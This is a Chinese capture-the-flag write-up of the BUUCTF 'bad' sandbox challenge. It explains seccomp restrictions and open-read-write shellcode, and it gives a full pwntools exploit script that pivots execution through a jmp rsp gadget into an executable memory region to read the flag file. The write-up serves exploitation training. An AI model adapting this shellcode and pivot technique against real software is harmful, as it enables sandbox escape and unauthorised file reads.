首页 > 其他分享 >BUUCTF之Sandbox-bad

BUUCTF之Sandbox-bad

时间:2024-10-17 18:43:34浏览次数:1  
标签:BUUCTF read rdi bad mov Sandbox rsp payload rax

BUUCTF之Sandbox-bad

首先针对sandbox,我们需要有一个大概的认知,他是在一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程,通常我们采用orw的方式来获取flag.orw全称only read write,只使用read write函数将flag读取并且打印,shellcode分为三个步骤

  1. 使用open函数打开flag
  2. 使用read函数将flag读到buf
  3. 使用write函数将buf中的值输出

简化为三句伪代码如下,主要需要将这三句C语言变成汇编代码

fd = open(``"./flag"``, O_RDONLY);``read(fd, buf, 0x100)``write(1, buf, 0x100)

对于函数的限制,只要通过两种方式来实现,第一种是采用prctl函数调用,第二种是使用seccomp库函数。对于这类限制,我们可以使用seccomp-tools轻松发现他禁用的一些函数,由于他设置了这些黑名单,所以我们一下就可以发现这是一类sandbox的题型了。

32-bits

32-bits下的系统调用号

三个函数的系统调用编号

系统调用号 函数名 入口点
3 read sys_read
4 write sys_write
5 open sys_open

shellcode编写

32位系统调用汇编寄存器传递参数顺序依次是ebx, ecx, edx, esi;eax用于存放系统调用号

;32-bit shellcode
; open flag file
mov eax, 5 
mov ebx, filepath
mov ecx, 0
int 80h
; read flag
mov ebx, eax
mov eax, 3
mov ecx, buf
mov edx, 100h
int 80h  //相当于64位的syscall
; write flag
mov eax, 4
mov ebx, 1
mov ecx, buf
mov edx, 100h
int 80h
ret

64-bits

64-bits下的系统调用号

%rax System call %rdi %rsi %rdx %r10 %r8 %r9
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode
3 sys_close unsigned int fd

shellcode编写

64位shellcode汇编代码和32位的思路一样,不同点在于64位系统调用向寄存器传递的参数不同,且64位shellcode建议使用syscall,而不使用int 80中断

64位系统调用汇编寄存器传递参数顺序:rdi,rsi,rdx,r10,r8,r9。最多只能有6个参数,如果参数多于6个不会像用户态一样放到堆栈中,这个是内核接口调用约定和用户接口调用约定有区别

;64-bit shellcode
;open
mov rdi, filepath;
push rdi;
mov rax, 2;
mov rsi, 0;  //xor rsi,rsi;
mov rdx, 0; //同理
syscall;
; read
mov rdi 0x3;
mov rax, 0;
mov rsi, buf;buf可以修改成rsp,直接将flag读到栈中
mov rdx, 0x100;
syscall;
;write
mov rax, 1;
mov rdi, 1;
mov rsi, buf;
mov rdx, 0x100;
syscall;

这就是沙箱的大体流程了, 更加具体的我们下面用buu的bad这个题型作为示例


首先我们发现这题使用了seccomp对函数进行了限制,image

接着我们用seccomp-tools看一下函数的

image

然后再检查一下文件,发现什么保护机制都没有。

image

那么接下来的步骤就很明显了,通过read函数写入一个orw,但是很可惜,通过观察,我们发现这题的buf长度不支持我们写一个完整的orw,所以我们需要另外找一个地址来写入,

image

通过调试,我们发现一个可读写执行的地址0x123000,那么接下来我们要做的就是如何让rsp跳转到那里了,本来我想的是用栈迁移来解决,但是我发现本题还给了jump rsp,那么我们就可以用这个来做文章了

image

有了具体目标,我们就先可以把shellcode写下来了

shell='''
	     mov rdi,0x67616c662f2e;   //0x67616c662f2e的意思是galf/. 在小序端的读取下就是./flag
	     push rdi;
	     mov rax,2;
	     mov rdi,rsp;
	     xor rsi,rsi;
	     xor rdx,rdx;
	     syscall;
	     mov rax,0;
	     mov rdi,0x3;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
	     mov rax,1;
	     mov rdi,1;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
'''

而在pwntools中,我们也可以使用shellcraft模板让其为我们编写汇编

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50)

所以之后我们需要做的就是如何让rsp跳转到0x12300这个位置了,而这就要用到我们的read函数了,我们通过read在0x12300上读取一百个字节大小的空间,然后让rsp跳转到0x12300的位置

shellcode='''
     xor rdi, rdi
     mov rsi, 0x123000
     mov rdx, 0x100
     mov rax, 0
     syscall
     mov rax, 0x123000
     call rax
 '''
 payload=asm(shellcode)
 payload=payload.ljust(0x28,b'\x00')
 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

相同的,在这里我们同样可以使用shellcraft

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

最后的rsp减去0x30的原因是为了让新rsp在运行了前面的代码后重新到0x12300这个位置,这样才正确的执行我构造orw的shellcode

最后附上我们完整的代码

from pwn import *

context(arch = 'amd64',os = 'linux',log_level='debug')
#io=remote('node5.buuoj.cn',26885)
io=process('./bad')
addr=0x123000
jmp_rsp=0x400a01
mmap=0x123000

shell='''
	    
	     mov rdi,0x67616c662f2e;
	     push rdi;
	     mov rax,2;
	     mov rdi,rsp;
	     xor rsi,rsi;
	     xor rdx,rdx;
	     syscall;
	     mov rax,0;
	     mov rdi,0x3;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
	     mov rax,1;
	     mov rdi,1;
	     mov rsi,0x123000;
	     mov rdx,0x50;
	     syscall;
'''
//orw_payload = shellcraft.open("./flag")
//orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
//orw_payload += shellcraft.write(1, mmap+0x100,0x50)
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
gdb.attach(io)
io.recvuntil("Easy shellcode, have fun!")
io.sendline(payload)
payload1=asm(shell)
io.sendline(payload1)
io.interactive()

image

如图,第一个方框就是orw的shellcode,第二个方框就是我们对mmap空间的开创,并且我们将ROP写到mmap提供的栈的内存上,之后利用jmp_rsp跳转到orw_shellcode的地方。

标签:BUUCTF,read,rdi,bad,mov,Sandbox,rsp,payload,rax
From: https://www.cnblogs.com/TFIRE/p/18472874

相关文章

  • [BUUCTF]数据包中的线索
    [BUUCTF]数据包中的线索解题打开pcapng,进行协议分级,发现Line-basedtextdate占比较大,将其过滤出来追踪HTTP流,发现base64编码复制解码没看到JFIF以为magic又出问题了,于是换了个网址https://the-x.cn/base64,下载JPG文件,得出flag发现电脑好像不可以识图复制flag,果断拿......
  • springboot接口,放回404 Bad Request
    分析:这种报错,通常都是json格式有误,导致的,比如说接口接受的对象是JSONArray,但是传进来的参数是JSONObject类型2024-10-1610:39:07.555WARN18536---[io-8688-exec-10].w.s.m.s.DefaultHandlerExceptionResolver:Resolved[org.springframework.http.converter.HttpMessag......
  • DBPM: 增强时间序列对比学习:一种动态坏对挖掘方法《Towards Enhancing Time Series Co
    今天是2024年10月12日,思路枯竭,还是论文看的太少了,继续看论文.论文:TowardsEnhancingTimeSeriesContrastiveLearning:ADynamicBadPairMiningApproach或者是:TowardsEnhancingTimeSeriesContrastiveLearning:ADynamicBadPairMiningApproachGitHub:https://git......
  • BUUCTF_MISC题解析(7)
    7.wireshark下载文件发现里面是一个pcap格式的文件。而pcap格式就是网络分析工具保存的网络数据包,是捕获的从网卡发送或者接收的每一个数据包的离线网络流量。 在wireshark官网上下载wireshark,wireshark是网络封包分析工具。将文件用wireshark打开,发现有三个部分,上半部分绿......
  • BUUCTF_MISC题解析(6,8)
    6.乌镇峰会种图把打开的图片放进010editor,拉到最末尾就可以发现flag 8.N种方法解决打开文件是KEY.exe点击打不开,运行不了(exe文件是二进制文件),所以把他拉到010editor打开,data:image/jpg;base64,iVBORw0KGgo......gg==发现是base编码的形式,开头的提示说明是jpg格式的图片,......
  • 使用宝塔快速搭建配置Openai api接口代理+502 Bad Gateway网关错误问题解决
    本教程提供了一种简便快捷的方法,无需复杂步骤,极易操作,实现零代码、零部署的快速接入。实现准备1.服务器,这里使用阿里香港轻量服务器)2.OpenAI官方的模型apikey3.使用第三方系统或插件进行测试关于第三方网站系统或插件:《SparkAI系统介绍文档-渐进式AIGC系统》开......
  • BUUCTF_MISC题解析(3,4)
    3.你竟然赶我走搜索010editor官网,点第一个页面,下载010editor(十六进制编译器)(黄色图标),直接010editor打开(或者使用stegSolve)一般情况用ctrl+f进入字符串搜索查看是否有插入的flag信息,就可以在文件尾看到flag是flag{stego_is_s0_bor1ing} 4.二维码扫码识别二维码,发现隐......
  • BUUCTF蜘蛛侠呀
    解压后发现是流量包,好多icmp包发现icmp包尾部有$$STRAT打头16进制的字符串,好多重复得。我们只需要提取尾部这些字符串是当icmp的type=0时上图标识为褐色的字符串,还需要把16进制的字符串转为对应的字符串(bytes类型)并去重。使用python脚本importpysharkimportbinascii......
  • Bad or missing usercopy whitelist? Kernel memory overwrite attempt detected to S
    Linux内核有一个usercopywhitelist机制,只允许这里面的region来做usercopy。如果是用kmem_cache_create申请的kmem_cache申请的内存空间来copytouser或者copyfromuser,那么就会报这个错。这时要用kmem_cache_create_usercopy,来将申请的区域加入到usercopywhitelist中。/***......
  • 【CTF Web】BUUCTF SQLi-LABS Page-1(Basic Challenges) Less-12 Writeup(SQL注入+POST
    sqli-labs1点击启动靶机。SQLi-LABSPage-1(BasicChallenges)解法随便提交一些数据。审查元素。<formaction=""name="form1"method="post"> <divstyle="margin-top:15px;height:30px;">Username:&nbsp;&nbsp;&......